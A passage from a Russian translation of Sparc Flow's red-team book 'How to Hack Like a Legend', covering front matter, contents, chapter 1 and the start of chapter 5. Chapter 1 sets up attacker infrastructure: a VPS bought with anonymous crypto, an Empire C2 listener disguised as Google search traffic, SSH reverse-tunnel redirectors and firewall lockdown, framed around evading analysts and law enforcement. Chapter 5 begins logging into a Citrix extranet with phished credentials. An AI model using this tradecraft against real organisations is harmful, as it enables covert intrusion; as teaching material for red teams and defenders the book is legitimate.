, Как заниматься взломом словно легенда. Прорываемся в Windows

Как заниматься взломом словно легенда. Прорываемся в Windows

Спарк Флоу

Copyright © 2022 Sparc Flow

Опубликовано No Starch Press, Inc.

Данный документ предоставляется по лицензии Creative Commons Attribution 3.0 License, за исключением разделов со специальными оговорками.

http://creativecommons.org/licenses/by/3.0/legalcode

Первая публикация на английском языке: Октябрь 2022

Library of Congress Control Number: 2022934645

Все права защищены. Никакая часть данной работы не может быть воспроизведена или передана ни коим образом, электронно или механически, включая фотокопирование, запись либо любым информационным сохранением или извлечением без предварительного письменного согласия владельца авторских прав и издателя.

ISBN-13 978-1-7185-0150-8

www.nostarch.com

2022-10-17

 Состав исполнителей

Автор

Спарк Флоу

Издатель

Вильям Поллок

Управляющий производством

Рэйчел Монаган

Редактор производства

Катрина Тейлор

Редактор развития

Лиз Чедвик

Дизайн обложки

Рик Риз

Дизайн внутреннего содержания

Octopod Studios

Технический рецензент

Мэтт Берроу

Редактор

Рейчел Хед

Наборщики

Джефф Литтл

Happenstance Type-O-Rama

Корректор

Одри Дойл

 Об авторе

Спарк Флоу — эксперт по компьютерной безопасности, специализирующийся на этичном хакинге. Он представлял свои исследования на международных конференциях по безопасности, таких как Black Hat, DEF CON, Hack In The Box и других. В то время как его основная работа в основном состоит из взломов компаний и показа им, как исправить их уязвимости в безопасности, его страстью остаётся написание и распространение инструментов и методов безопасности. Среди других его произведений:

How to Hack Like a Ghost (No Starch Press, 2021)

How to Hack Like a Pornstar

How to Hack Like a GOD

How to Investigate Like a Rockstar

 Технический рецензент

Мэтт Берроу — старший специалист по тестированию на проникновение в корпоративной red team, где он оценивает безопасность служб облачных вычислений и внутренних систем. Он также является автором книги Pentesting Azure Applications (No Starch Press, 2018). Мэтт имеет степень бакалавра в области сетевых сред, безопасности и системного администрирования в Рочестерском технологическом институте, а также степень магистра в области компьютерных наук в Университете Иллинойса в Урбана-Шампейн.

 www.nostarch.com

Моим родителям, с любовью и восхищением

 Благодарности

Хочу выразить самую искреннюю благодарность:

Прежде всего, благодарю сообщество информационной безопасности за то, что оно создало и вдохновило подавляющее большинство обобщённых в данной книге знаний. Хвала всем вам!

Лиз Чедвик за её очень чёткие навыки и безупречные корректировки, которые помогли предоставить непонятные, а порой и сложные сообщения в рамках данных страниц.

Мэтту Берроу за усердную и квалифицированную проверку кода, командных строк и всего остального.

Многим людям из No Strach Press, которые работали над данной книгой от её дизайна до редактирования, включая Катрину Тейлоп и Рэйчел Хед. И, конечно же, Биллу и Барбаре за ту первую встречу, которая и породила всё данное приключение.

Моей жене за то, что постоянно вдохновляла меня во многих отношениях, но больше всего за то, что поддерживала несвоевременную писательскую лихорадку, а также множество ночей разочарования, которые потребовались для собирания этой книги воедино.

 Предисловие

Это история одного хакера, который едва не встретил достойного соперника, когда столкнулся с машинным обучением, повседневным анализом, искусственным интеллектом, пакетом безопасности Microsoft и специальной командой SOC при попытке взломать офшорного поставщика услуг. Большинство хакерских инструментов просто ломаются и сгорают в столь враждебной среде. Что делать хакеру, когда он сталкивается со столь полностью экипированным противником?

В этом новом томе книги из серии "Как заниматься взломом словно..." мы рассмотрим пошаговые приёмы и техники обхода производителей систем безопасности следующего поколения. Эти методы содержат неуправляемый PowerShell, C# Reflection, подписей DKIM, Kerberoasting, прекращение защищённых процессов и многие прочие важные трюки как для хакеров, так и для команд выявления уязвимостей (red- teamers).

Как работает эта книга

Это не обычная техническая книга. Она не является руководством в его традиционном смысле. Здесь мы принимаем роль хакера и нашей целью выступает (вымышленная) подозрительная офшорная компания G&S Trust, которая специализируется на создании фиктивных компаний для богатейших в мире. Я проведу с вами на протяжении нескольких недель путешествие по жизни хакера, работая с самого начала до конца: от настройки постоянной анонимной инфраструктуры до выполнения подробной рекогносцировки и запуска изощрённых фишинговых компаний до окончательных инфильтрации и эксплуатации своей цели. Как мы выясним, G&S Trust преимущественно полагается на службы и системы безопасности Microsoft, поэтому в фокусе наших атак основной целью будет Windows.

Все применяемые здесь компании и названия в основном вымышленные, за исключением, очевидно, таких как Twitter и Microsoft. Поэтому пока время терпит, вы можете подгонять под себя и пробовать (а я вас поощряю к этому), у вас может не быть возможности следовать каждому шагу в точности как он показан. Например, мы в конечном счёте разоблачаем имеющиеся сведения идентичности и личного свойства различных компаний, которыми пользуется и обслуживает G&S Trust, никто их них не присутствует в реальном мире.

По мере того как мы уясним своё путешествие, мы встретим большое число тупиков и блокировок пути, однако я покажу вам как вы можете применять даже очевидно более скудные результаты чтобы настроить вас на другой путь. Именно так работает безопасность в реальном мире. Не всякий путь ведёт к успеху, однако при должном упорстве, налёте креативности и чистой случайности, вы можете наткнуться на некоторые интересные находки. Чтобы сберечь свою четвёртую стену, с данного момента мы будем обсуждать свои цели как будто они осязаемы как вы или я. Я также снабжу вас сценариями и инструментами, которые применяются в данной книге для изучения вами в ресурсах https://github.com/sparcflow/HackLikeALegend/.

[Замечание]
Замечание

Я в основном отсылаю вас к самому верхнему репозиторию и направляю вас прямо туда, однако порой будут ссылки на реальные файлы, когда они глубоко встроены, или мы рассматриваем конкретную часть файла. Для особых файлов, которые могут блокироваться GitHub, я отсылаю вас к серверу, которым владею сам: https://sf-res.com/. Если у вас остались сомнения, обращайтесь к странице этой книги в https://www.nostarch.com/how-hack-legend/ за обновлениями.

Туманный план

Я не хочу рассказывать слишком много перед данной игрой, но, в качестве краткого обзора, книга разделена на четыре части. Часть I: Начальные блоки поможет вам создать надёжную хакерскую инфраструктуру - ту, которая обеспечивает анонимность и отказоустойчивость в Интернете. Вооружившись, мы будем кружить вокруг цели в поисках щели, позволяющей нам проскользнуть в их сеть. Наша точка входа потребует небольшого и быстрого окольного пути ... или так кажется.

Очутившись впервые внутри такой первой скомпрометированной системы, Часть II: Первое погружение подробно рассказывает о большом числе функциональных возможностях безопасности и препятствиях, которые нам надлежит обойти чтобы целиком взять под контроль эту среду. Но как только мы достигнем своего первого прорыва и ненадолго наслаждаемся славой своего первого успеха, вся наша операция принимает ужасный и неожиданный оборот ...

В Части III: Назад на сцену, мы возвращаемся к стабильности и пользуемся множеством современных методов сопровождения чтобы осторожно и безопасно пресечь заминированную территорию, что и составляет основную цель информационной системы. Мы извлекаем пароли, устанавливаем потайные ходы и побеждаем инструменты машинного обучения, причём всё это во имя достижения космической справедливости.

Наконец, в Части IV: Избавление мы собираем всё воедино и пожинаем плоды, проницательно прочёсывая терабайты данных и пользуясь скрытыми связями между нашими целями.

Мы не будем копаться в каждой кроличьей норе в поисках всех технических приёмов или инструментов; в противном случае эта книга не имела бы конца. Вместо этого, по завершению каждой главы я привожу полный список ресурсов, которые вы сможете просмотреть на досуге.

 Содержание

Введение

Благодарности

Предисловие

Как работает эта книга

Туманный план

Часть I: Начальные блоки

Глава 1. Сгибаясь, но никогда не ломаясь

Требования инфраструктуры

Фронтальная практическая конфигурация

Атакующий сервер

Сервер C2

Ресурсы

Глава 2. Похоронен заживо

Установление контакта

Рыскаем в Интернете

Поиск слабых ссылок

Ресурсы

Глава 3. Подавая дугой

Кража просмотра

Выявление подчинённого домена

Недруги фишинга

Спам фильтры

Песочницы электронной почты

Антивирус

Пожинаем учётные данные

Глава 4. Совершенствуя западню

Достаём домены из мусорной корзины

Манипулирование заголовками

Маршрутизация электронной почты

Настройка структуры политики отправителя

Выработка Общедоступного ключа для DKIM

Наживляем свой крючок

Собираем сайт

Отвлекаем аналитика

Охотимся на пользователя

Ресурсы

Часть II: Первое погружение

Глава 5. Побег из тюрьмы

Ныряем

Рекогносцировка сервера

Автоматизируем свою рекогносцировку

Персональная обложка PowerShell

Собираем проект MSBuild

PowerShell без ограничений

Ресурсы

Глава 6. Ворваться и попасться!

Растим свой PowerShell

Базовый код Microsoft

Интерактивный режим

Загружаем сценарий PowerView

Глубже в рекогносцировку

Внимательно осматриваем данные

Калибруем безопасность

Пародируем пользователей

Ресурсы

Глава 7. Знай своего врага

Исследование места преступления

Выявляем врага

Ресурсы

Часть III: Назад на сцену

Глава 8. Сквозь огонь и пламя

Рулетка паролей

Изобретение стратегии

Кастрируем блок сценария регистрации

Сила самоконтроля

Обходим совпадение строк

Ресурсы

Глава 9. Русская рулетка

Камуфляж

Выявление служб

Атакуем базу данных

Распутанный Kerberos

Прожарка баз данных цербера

Взламываем пароли

Настройка взлома пароля

Составление списка слов

Исполнение Hashcat

Ресурсы

Глава 10. Наконец свободен

Необработанный SQL

Mimikatz: волшебная палочка Windows

Исполняя Mimikatz

Борьба с AMSI

Выявляя преступника

Уклоняясь от сопоставления строк

Окончательный сценарий

Исполнение сценария

Собираем свои трофеи

Ресурсы

Глава 11. Победа над машинами

Изучаем Виртуальную машину

Обходим MDE

Выполняем доступ LSASS

Выделяем учётные данные

Побеждаем MDE

Защита процесса

Втираемся в доверие

Внедряем поток

Альтернативные маршруты

Ресурсы

Глава 12. Совершенствуем лазейку

Структура разработки

Растим лазейку

Устанавливаем капкан

Проверяем свои окрестности

Вызов полезной нагрузки

Дорабатываем своего Агента Империи

Сердцевина нашей лазейки

Угоняем фиксации

Ресурсы

Часть IV: Избавление

Глава 13. Охота за данными

Обозреваем защиту

Сбор сведений

Охотимся за данными

Проверка привилегий

Удержание

Набег на улей

Втираемся в доверие

Получение учётных данных

Ресурсы

Глава 14. Джекпот

Ищем точку опоры

Взламываем хранилище

Заключительные соображения

Ресурсы

Указатель

l>

Часть I: Начальные блоки

Ты не управляешь штормом и не затерян в нём. Ты и есть шторм.

Сэм Харрис

Глава 1. Сгибаясь, но никогда не ломаясь

Содержание

Глава 1. Сгибаясь, но никогда не ломаясь

Требования инфраструктуры

Фронтальная практическая конфигурация

Атакующий сервер

Сервер C2

Ресурсы

В сердцевине всякого взлома лежит великая инфраструктура взлома. Вы можете быть захватившим флаг волшебником или наилучшим инженером обратного ARM, но если вы не позаботитесь о создании безопасной гавани для своих хакерский действий, вы окажетесь у разбитого корыта. Быть может не сразу, возможно не через два месяца, но такой неумолимый обратный отсчёт когда- нибудь настигнет вас.

Достойная хакерская инфраструктура - это в первую очередь набор практик и систем, обеспечивающих вашу анонимность и безопасность. Это ваша бесплатная карта избежания тюрьмы если что- то пойдёт не так. Мы начнём своё путешествие с настройки такой инфраструктуры.

Требования инфраструктуры

Наша инфраструктура стартует с отдельного виртуального частного сервера (VPS, virtual private server), размещённого у поставщика облачных услуг, как это отражено на Рисунке 1.1. Мы будем именовать его как свой сервер на передовой, поскольку он будет в непосредственном контакте с нашей целью.

Рисунок 1.1

VPS это наша передовая линия

Нам также потребуется выстроить некую устойчивость. Наличия только сервера передовой для запуска всех наших атак обязательно превратит эту передовую в единственный пункт отказа; всё что требуется компании для блокирования нашей якобы современной вредоносной полезной нагрузки, для которой мы затратили недели на настройку - это чёрный список IP адресов атакуемого сервера. Не говоря уже о том, что первый же обнаруживший нашу полезную нагрузку аналитик сможет просто в ответ атаковать наш сервер - задумайтесь об отказе в обслуживании (DoS), брутальном взломе - переборе, уязвимости кода удалённого исполнения в среде нашего эксплойта и тому подобном. Несмотря на все их изобретательные уловки и хвастовство, очень мало хакеров в действительности тратит время на то, чтобы заблокировать свои собственные серверы Команд и контроля (C2, Command and Control).

Во избежание этих проблем мы настроим устойчивую инфраструктуру взлома, которая предоставляет максимальные гибкость и модульность испытывая все типы атак на независимый блок соответствующей инфраструктуры. Если одна операция провалится, скажем, сканирование перебором портов с применением Nmap или masscan, прочие выполняемые одновременно операции, такие как фишинг, смогут продолжаться без потерь, поскольку все они основаны на обособленных компонентах.

Такое правило сегментации и в самом деле довольно очевидно на интуитивном уровне. Нам требуется первый набор серверов для фишинговых действий: отправки электронных писем, размещения поддельного содержимого, получения учётных данных и тому подобного. Далее нам нужен второй набор серверов для инициации связи с целевыми серверами, просмотра их веб- сайтов и поиска уязвимостей. Наконец, нам необходим третий набор серверов для обратных оболочек или программ, которые мы выполняем в серверах или ноутбуках жертвы, которые звонят обратно домой для предоставления нам полного контроля. Это наши серверы C2. Установка нашей инфраструктуры иллюстрируется на Рисунке 1.2.

Рисунок 1.2

Устойчивая инфраструктура атаки

Это отличная установка для разового задания, но как только мы приступим к соединению целей в цепочку, она начнёт казаться слишком тяжёлой. Для всякой новой цели нам требуется создавать выделенный атакующий сервер, загружая и настраивая наши любимые инструменты, устанавливая ожидающие стороны, выполняя конфигурацию полезной нагрузки и тому подобное.

причина, по которой нам требуется создавать такую систему всякий раз, состоит в том, что не все поставщики хостинга предлагают гибкость больших облачных служб, таких как Amazon Web Services (AWS) и Google Cloud, а потому может оказаться невозможным просто клонировать машины или создавать стандартный образ, который мы способны воспроизвести. Нам также потребуется принять меры предосторожности и применять несколько атакующих серверов; атака с одного и того же сервера на банк A и на страховщика B значительно увеличивает риск быть отмеченным подозрительным. Это в особенности верно для выполняемых одновременно боёв. В то время как для проникновения в некую компанию требуется несколько дней (или того меньше), для поиска и анализа требующихся нам данных может потребоваться до нескольких месяцев, а потому одновременный взлом нескольких целей не является чем- то необычным. Нам требуется разделить структуры своей атаки, дабы в случае отключения одного сервера прочие могли продолжаться.

Повторное применение IP адресов немедленно привлечёт внимание какого- нибудь проницательного аналитика, отчаянно ищущего новую хакерскую группу с броским названием вроде APE35 или FancyBear. Когда управляющий десятками машин в цели A IP адрес сервера попадает в чёрный список, мы сможем за считанные секунды развернуть новый сервер со свежим IP адресом для получения новых соединений, не нарушая существующие задания, которые не подлежат запрету их IP.

[Замечание]
Замечание

Некоторые хакеры даже заходят столь далеко, что создают эфемерные ретрансляторы, пользуясь незащищёнными конфигурациями Universal Plug and Play (UPnP) в домашних сетевых средах для уменьшения своей уязвимости. Чтобы узнать дополнительно об этом, вы можете ознакомиться с интересным докладом "UPnP Unlimited Proxies and Pwnage" @professor__plum на CanSecWest 2018.

Для достижения такого уровня устойчивости мы введём другое множество серверов с названием переадресующих (redirectors), чья истинная цель состоит в посредничестве приходящих обратно от цели запросов в нашу атакующую инфраструктуру, что иллюстрируется на Рисунке 1.3.

Рисунок 1.3

Добавление переадресующих в нашу инфраструктуру

Цель A будет наблюдать значение IP переадресующего A, в то время как цель B будет взаимодействовать с переадресующим B. Оба переадресующих могут указывать на один и тот же сервер C2, однако эти сведения скрыты от обеих целей. Когда цель A запрещает по какой- то причине IP своего переадресующего, мы переключаем значение IP в своём вредоносном коде на другого переадресующего, подсаживаем это новое вредоносное ПО на другой компьютер в цели A и мы готовы к продолжению. Вся сердцевина инфраструктуры практически не меняется, поэтому цель B не затрагивается внесёнными изменениями. А это именно то, чего мы желали!

Фронтальная практическая конфигурация

Имея на руках план, давайте настроим свою устойчивою инфраструктуру хакерства.

Атакующий сервер

Прежде всего мы настраиваем свой атакующий сервер VPS передней линии. Однако не спешите с AWS или Google Cloud, поскольку лучше размещать этот сервер у поставщиков облачных решений, которые принимают монеты Zcash или Monero. Хотя такие способы оплаты и не являются железобетонными, они, как правило, обеспечивают лучшую защиту и анонимность, нежели обычные транзакции по кредитным картам. Перечень поставщиков облачных услуг, поддерживающих криптовалюты можно найти по адресу https://acceptbitcoin.cash/.

У поставщика хостинга, который принимает криптовалюту, мы остановимся на VBS Ubuntu и назовём свою машину FrontLine. Затем мы настроим правила межсетевого экрана чтобы допускать обмен SSH из своего текущего общедоступного IP, будь то точка доступа Wi-Fi в кафе или на станции поезда, или же плохо защищённый маршрутизатор Wi-Fi в будущем. После того как эта машина поднята, мы подключаемся к ней при помощи SSH:

root@FrontLine:~#

Если вам на самом деле нравится Kali, вы можете прихватить ряд инструментов непосредственно в репозитории Kali при помощи таких команд:

root@FrontLine:~# wget -qO - https://archive.kali.org/archive-key.asc | apt-key add –

root@FrontLine:~# sh -c "echo 'deb https://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list"

root@FrontLine:~# apt update

В противном случае мы просто всякий раз будем указывать те инструменты, которые вы будете применять по мере потребности в них по пути следования. И это всё относительно нашего сервера на передовой.

Сервер C2

Далее мы настроим вторую машину, которая будет действовать в качестве нашего сервера Команд и контроля (C2, Command and Control). Он будет принимать подключения от машин жертв для поиска файлов или отскока к прочим машинам. Мы снабдим ей некой защитой , которая подразумевает что приходящие пакеты будут переправляться в наш сервер C2 через зашифрованный туннель, в котором расположена наша инфраструктура ожидания C2.

Для того чтобы принять в качестве базовой имеется большое число известных инфраструктур: Covenant C2, Faction C2, Metasploit, Empire, SILENTTRINITY. Каждая из этих инфраструктур предоставляет инструменты и шаблоны для построения программ, которые , при их выполнении на стороне компьютеров жертвы, перезванивать обратно и обеспечивать нам полный удалённый контроль. Они также встраивают модули, которые помогают нам автоматизировать такие рядовые задачи как поиск компьютеров и пользователей, получение паролей и многие прочие занятные действия.

Естественно, все имеют свои собственные предпочтения и я побуждаю вас испытать их все и составить своё собственное мнение. В данной книге я буду изучать Empire, который можно найти на https://github.com/BC-SECURITY/Empire/, а потому наш следующий шаг состоит в запуске нашего нового сервера VPS, который будет действовать в качестве нашего сервера C2, зарегистрироваться в нём и затем выгрузить и установить Empire. Убедитесь что у вас имеется в данной машине установленным по крайней мере Python 3.7:

root@c2Server:~# git clone https://github.com/BC-SECURITY/Empire.git
root@c2Server:~# cd Empire && sudo ./setup/install.sh
root@c2Server:~# ./empire

(Empire) >

Теперь мы внутри интерактивной командной строки Empire и готовы к построению полезных нагрузок.

[Замечание]
Замечание

Будет не лишней установка команды screen, которая позволит вам восстанавливать сеанс Empire после прерывания соединения SSH. За подробностями отсылаем к https://www.howtoforge.com/linux_screen/.

Мы начинаем с настройки listener, которая является исполняемой в фоновом режиме службой, ожидающей новых подключений от наших целей в будущем. Мы выберем простое ожидание HTTP, способное сливаться с обычным корпоративным обменом:

(Empire) > listeners
(Empire: listeners) > uselistener http

Это ожидание не будет непосредственно выставляться в Интернет, а вместо этого мы будем достигать цели при помощи некого переадресующего, который мы настроем по ходу дел позднее. Например, скажем, общедоступный IP адрес этого переадресующего 158.10.10.10, а его доменное имя www.custom.com, мы пометим их таковыми в своей ожидающей стороне:

(Empire: listeners/http) > set Name https_158.10.10.10
(Empire: listeners/http) > set Port 8443
(Empire: listeners/http) > set Host https://custom.com:443

Важно установить параметр Port в некий не используемый в настоящий момент порт, причём до настройки параметра Host, во избежание недоразумений по данному значению порта. В нашей машине C2 Empire будет ожидать по порту 8443. Наш переадресующий будет ожидать по более распространённому порту 443.

Empire предлагает детальный контроль над многими прочими рукоятками, которые нам предстоит настраивать во избежание простых ловушек, установленных алгоритмами сопоставления характеристик. Прежде всего, мы активируем HTTPS, добавив самостоятельно заверяемый сертификат SSL, обычно создаваемый при установке Empire:

(Empire: listeners/http) > set CertPath /root/Empire/data

Для выработки нового сертификата, если мы пожелаем, мы позднее сможем воспользоваться расположенным в Empire/setup сценарием cert.sh. К сожалению, один SSL не обеспечивает нам полной безнаказанности. Некоторые компании осуществляют перехват SSL и тем самым способны выполнять дешифрацию вашего обмена на лету, поэтому большинство инфраструктур C2, включая Empire, автоматически добавляют некий уровень шифрования поверх SSL для сокрытия своей полезной нагрузки.

Устанавливаемая по умолчанию служба ожидания HTTPS в Empire получает запросы через регулярные интервалы времени - скажем, каждые пять секунд - от жертв для выборки команд или передачи результатов. Такой повторяющийся шаблон опроса данных часто носит название поведения маяка и способен привлекать внимание аналитических инструментов поведения, поэтому хорошим практическим приёмом является внесение некой случайности или неопределённости в такой шаблон. Этой цели в Empire служит параметр Jitter. Например, настройка Jitter в 1 вызовет команды запросов от нашей ожидающей стороны к компьютерам жертв в диапазоне каждых 4 - 6 секунд:

(Empire: listeners/http) > set Jitter 1

Наконец, мы укажем Empire передавать команды через запросы HTTPS, которые схожи с запросами поиска Google, для их маскировки. Мы надеемся, что это введёт в заблуждение потенциальных аналитиков безопасности. Если вы быстро заглянете в консоль отладки своего браузера (CTRL-SHIFT-C в Firefox) при поиске в Google, вы заметите некие запросы URI в виде /complete/search?q=wolf&cp=1&client=psy-ab&xssi=t&drp=1. Нам нет нужды знать что означает каждый параметр, однако их добавление к отправляемым в нашу службу ожидания Empire поможет нам замаскировать поведение нашего сервера C2. Мы даже можем заимствовать некие разбрасываемые Google куки, такие как NID=124=QwwdllDWWfFQKUhb5uvXUd6iXD30J2d8f2 and CONSENT=YES+EN.us;DV=0deAnSHdef4USGxWAWWDMxtbtp95XgH .

Нам также потребуются манипуляции с печально известным заголовком User-Agent, который является особой характеризующей строкой для всякого браузера, обычно используемого серверами для выявления соответствующей операционной системой и значением версии и названия самого браузера, осуществляющего данный запрос. Всякий экземпляр Empire пользуется той же самой легко распознаваемой строкой User-Agent Internet Explorer, а потому мы лучше заменим его на индивидуальную строку, которая маскируется под более широко применяемый браузер, например Chrome.

Мы можем устанавливать для своей службы ожидания все эти значения в Empire через свойство DefaultProfile. Его структура достаточно простая: <request_uri> | <user_agent> | <header_1> | <header_2> и так далее. Применение данного формата к нашему поисковому запросу Google отображает достаточно плотный текст, показанный в Листинге 1.1, который я разбил на части перед каждым | для улучшения восприятия при чтении.

Листинг 1.1. Маскировка запросов нашей службы ожидания под поисковые запросы Google

(Empire: listeners/http) > set DefaultProfile /complete/search?q=wolf&cp=1&client=psy-ab&xssi=t&drp=1 | Mozilla/5.0 (Windows NT 9.0; Win64; x64; rv:94.0) Gecko/20100110 Firefox/77.44 | Cookie: NID=124=QwwdllDWWfFQKUhb5uvXUd6iXD30J2d8f2; CONSENT=YES+EN.us;DV=0deAnSHdef4USGxWAWWDMxtbtp95XgH

Для ещё большей скрытности своих запросов, вы, естественно, можете добавлять дополнительные заголовки.

Настроив всё это мы запускаем свою службу ожидания:

(Empire: listeners/http) > execute
[+] Listener successfully started!

Теперь, когда мы запросим перечень своих служб ожидания, мы можем обнаружить их с такими настройками:

(Empire: listeners/http) > listeners
[*] Active listeners:

Name          Module  Host                    Delay/Jitter
----          ------  -----                   --------
https_158...  http    https://custom.com:443  5/1

Замечательно. У нас имеется заблокированной и готовой первая служба ожидания.

Как уже было отмечено ранее, эта служба ожидания достижима лишь с переадресующей со значением IP 158.10.10.10.

Эти переадресующие являются новой ветвью нашей атакующей инфраструктуры. Они являются простыми серверами, которые пересылают любой получаемый обмен в серверы C2 через зашифрованный туннель. Мы хотим сделать так, чтобы любой преходящий на порт 443 пакет в этой переадресующей службе отправлялся через туннель с шифрованием в наш сервер C2 на порт 8443, где пребывает наша служба ожидания Empire. SSH предлагает удобную функциональную возможность с названием переадресации порта возврата (reverse port forwarding).

Переадресация портов указывает нашей переадресующей службе автоматически переправлять весь получаемый на определённый порт (у нас 443) обмен в другой порт в нашем сервере C2 (в нашем случае 8443). Основная загвоздка в том, что по умолчанию SSH позволяет перенаправлять только локальные порты, поэтому наш порт 443 будет выполнять ожидание только локального адреса 127.0.0.1, что не есть хорошо.

Чтобы иметь возможность привязать порты к общедоступным сетевым интерфейсам в нашей переадресующей службе, нам потребуется добавить в свой файл /etc/ssh/sshd_config такую директиву:

# file /etc/ssh/sshd_config on the redirectors

GatewayPorts yes

Теперь мы перезапускаем свой сервер SSH в переадресующей службе при помощи команды systemctl restart ssh и мы сможем вернуться обратно в свой сервер C2 и запустить для установки необходимого туннеля такую команду (см. отображение на Рисунке 1.4):

root@c2Server:~# ssh -fN -R 443:0.0.0.0:8443 158.10.10.10

158.10.10.10 это общедоступный IP нашей переадресующей службы (см. Рисунок 1.4). Параметр -f отправляет получаемую в результате консоль SSH в фоновый режим, в то время как -N инструктирует его забыть об исполнении команд. Если вы запустите это без -f, будет открыта интерактивная оболочка, но нам она не нужна; мы заботимся лишь о переадресации обмена в установленный нами туннель и не желаем вручную набирать инструкции в своём удалённом сервере. Наконец, -R это параметр, который отвечает за настройку обратного туннеля между этими двумя машинами.

Рисунок 1.4

Перенаправление IP адреса

Теперь все приходящие на порт 443 в нашей переадресующей службе пакеты будут отправляться через зашифрованный туннель в наш сервер C2 по порту 8443, где располагается служба ожидания Empire. Наш сервер C2 достижим лишь через этот один порт, который открыт в другом сервере. В этом вся прелесть переадресации порта возврата.

После того как мы убедимся что всё работает как нужно, мы заблокируем доступ к своему серверу C2 через службу Простого межсетевого экрана (UFW, Uncomplicated Firewall). Нашей службе ожидания C2 необходима досягаемость лишь через SSH, причём либо от переадресующей службы, либо от одного из наших узлов выхода VPN или Tor. Тем самым, мы можем запретить все приходящие пакеты, как это отображено в Листинге 1.2.

Листинг 1.2. Ограничиваем то, какие пакеты добираются до нашего сервера C2

root@c2Server:~# apt install -y ufw
root@c2Server:~# ufw default deny incoming
root@c2Server:~# ufw default allow outgoing
root@c2Server:~# ufw allow from any to any port 22
root@c2Server:~# ufw enable

Мы прополощем это и повторим для своей службы переадресации фишинга, за исключением того, что вместо службы ожидания Empire у нас будет сервер Apache, предоставляющий легально выглядящий веб-сайт, но об этом позднее.

Как видите, единственной целью нашей переадресующей службы является отправление зашифрованного обмена (в данном случае HTTPS) в сервер C2. Никакие данные не сохраняются и никакие сведения не передаются в виде открытого текста в нашей машине переключения.

Наш первый поставщик хостинга не обращает внимания на любую атака, а даже если он и решит сотрудничать с правоохранительными органами или с командой аналитиков цели, он не сможет им дать многого. Всё что у них будет - это интернет шлюз второго поставщика хостинга, применяемый нашим сервером C2 для установки SSH туннеля, который не продвинет их весьма далеко в процессе расследования и не даст мощного рычага воздействия на второго поставщика хостинга.

Мы можем составлять в цепочку столь много переадресующих служб, сколько пожелаем пока мы хотим пользоваться SSH. Данная команда ставит цепочку локального порта 8443 на порт 8888 в нашей переадресующей службе 1, самой по себе соединяемой в цепочку с портом 443 в переадресующей службе 2:

root@c2Server:~# ssh -fR 8888:0.0.0.0:8443 <redirector_1> ssh -fNR 443:0.0.0.0:8888 <redirector_2>

Если мы утратим одну из своих переадресующих служб, или вместо этого пожелаем воспользоваться IP адресом в другом регионе, мы можем просто создать новую общедоступную переадресующую службу на новом континенте, которая готова принимать подключения к оболочке. Устойчивость в её лучшем проявлении.

Ресурсы

Список поставщиков облачных ресурсов, которые поддерживают криптовалюты: https://acceptbitcoin.cash/

"UPnP Unlimited Proxies and Pwnage" в CanSecWest 2018 от @professor__plum

Удачная статья от Tenable относительно работы с отпечатками пальцев PowerShell Empire: https://www.tenable.com/blog/identifying-empire-http-listeners/

Подробности об уязвимостях в популярных инструментах удалённого доступа: https://bit.ly/2uQR60l и https://bit.ly/2We2HVX

Часть II: Первое погружение

Когда идёшь сквозь ад, продолжай идти

Уинстон Черчиль

Глава 5. Побег из тюрьмы

Содержание

Глава 5. Побег из тюрьмы

Ныряем

Рекогносцировка сервера

Автоматизируем свою рекогносцировку

Персональная обложка PowerShell

Собираем проект MSBuild

PowerShell без ограничений

Ресурсы

Всего через 24 часа с начала нашей фишинговой компании мы взломали 35 паролей. Это 35 пуль в виде 35 сотрудников, которых мы способны олицетворять. По причине их любопытства наша фишинговая почта смогла обмануть даже нескольких технически подкованных продавцов и ИТ- администраторов. Учитывая нашу окончательную цель внедрения потайной двери в код Strat Accounting, нашей целью выступает любой, у кого имеется доступ для записи в эту базу кода, будь то персонал ИТ- поддержки, инженеры по обеспечению качества, программисты или, конечно же, ИТ- администраторы.

Мы знаем, что большинство наших общедоступных жертв благодаря нашим целевым электронным письмам, скорее всего, программисты; однако мы не можем быть уверенными что все они вовлечены в проект Strat Accounting. К счастью, когда мы окажемся внутри их корпоративной сетевой среды, мы обретём чёткую идею.

Будьте готовы к нашему первому погружению.

[Замечание]
Сторонние провода

Вновь и вновь тестирующие проникновения и участники красной команды ассоциируют кражу компании с получением полномочий администратора домена. Сколь убогий взгляд и упрощённый способ моделирования угроз реального мира.

Домен Windows, или, точнее, домен Active Directory, это набор серверов, компьютеров, пользователей и прочих объектов, соединённых воедино общими атрибутами конфигурации. Множество серверов, именуемых контроллерами домена, управляет этими объектами и имеет дело со всем, начиная с аутентификации и вплоть до настроек системы. Несколько обладающих высокими правами доступа к этим контроллерам домена пользователей и, соответственно, ко всем ресурсам в домене и носят название администраторов домена. Администратор домена имеет возможность подключаться к любому компьютеру, получать доступ к любой папке в любом подключённом к домену компьютеру, сбрасывать пароли пользователей, создавать дамп электронной почты и так далее.

Как только мы получаем полномочия администратора домена, мы получаем полную свободу действий во всех системах Windows, на которые запросто приходится более 80 процентов инфраструктуры ИТ. Несомненно, именно по этой причине ограниченные по времени и бюджету тестирующие проникновения зачастую гоняются за этим Святым граалем. Это единственная находка для управления всем. Единственная уязвимость для извлечения неограниченного числа опасностей. Идеальный ответ на несовершенный пример.

Однако мы не тестируем проникновение. У нас нет ограничения по времени, ни обязанности сообщать о результатах и убеждать сварливый совет директоров в вашей ценности. Если мы будем способны добиться своего при помощи обычной учётной записи разработчика, пусть будет так.

Ныряем

Через свой сервер интерфейса Windows, зарегистрированный в центре обработки данных (ЦОД) где- то в Лондоне, мы подключаемся к приложению экстрасети Strat Jumbo в stratextranet.stratjumbo.com, воспользовавшись одними случайно выбранными учётными данных из полученных нами через фишинг в предыдущей главе. Мы остановились на учётных данных Лауры, поскольку ей доводилось в Великобритании, а потому это породит меньше подозрений. На Рисунке 5.1 мы вводим свои с трудом нарытые учётные данные.

Рисунок 5.1

Подключаемся к экстрасети от имени Лауры

Мы получаем приветствие от чего-то, похожего на платформу Citrix, предлагающую исполнять лишь одно приложение - браузер Firefox - как это показано на Рисунке 5.2.

Рисунок 5.2

Платформа Citrix

Тогда давайте рассмотрим Citrix! Citrix это среда виртуализации, которую обычно предпочитают крупные компании для предоставления внешним сотрудникам или партнёрам по бизнесу ограниченного доступа ко внутренним ресурсам: бизнес- приложениям, файловым ресурсам и т.п.

Доступные через Citrix программы выполняются в одном из множества серверов фермы Citrix, однако конечному пользователю представляется, что связанная с ним программа реально работает в его собственном компьютере. Мы можем наблюдать это на Рисунке 5.3.

Рисунок 5.3

Внешний браузер, запущенный в удалённом сервере Citrix, в то время как другой исполняется в нашей локальной машине

